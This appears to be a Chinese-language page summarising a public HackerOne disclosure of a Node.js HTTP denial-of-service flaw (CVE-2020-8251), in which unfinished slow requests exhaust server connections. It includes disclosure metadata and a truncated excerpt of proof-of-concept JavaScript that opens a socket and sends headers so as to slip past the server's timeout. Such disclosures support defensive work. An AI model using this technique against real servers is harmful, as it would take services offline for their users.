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地图 / Denial of Service by resource exhaustion CWE-400 due to unfinished HTTP/1.1 requests

Denial of Service by resource exhaustion CWE-400 due to unfinished HTTP/1.1 requests

拒绝服务 / 资源消耗失控 / #868834

厂商
Node.js
严重程度
高危 · CVSS 9.3
赏金
$250
弱点
资源消耗失控
研究员
@shogun_panda
披露日期
2020-10-17
资产
https://github.com/nodejs/node
CVE
CVE-2020-8251

该报告还没有中文解读。

原文摘录

摘自原文(7449 字符中的一小部分)
**Summary:** Node.js is vulnerable to HTTP denial of service (DOS) attacks based on delayed requests submission which can make the server unable to accept new connections.
原文中的代码
const { createConnection } = require('net')

let start
let response = ''
let body = ''.padEnd(4096, '123')

const client = createConnection({ port: parseInt(process.argv[2], 10) }, () => {
  start = process.hrtime.bigint()

  // Send all the headers quickly so that server.headersTimeout is not …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @shogun_panda · 版权归作者与 Node.js 所有

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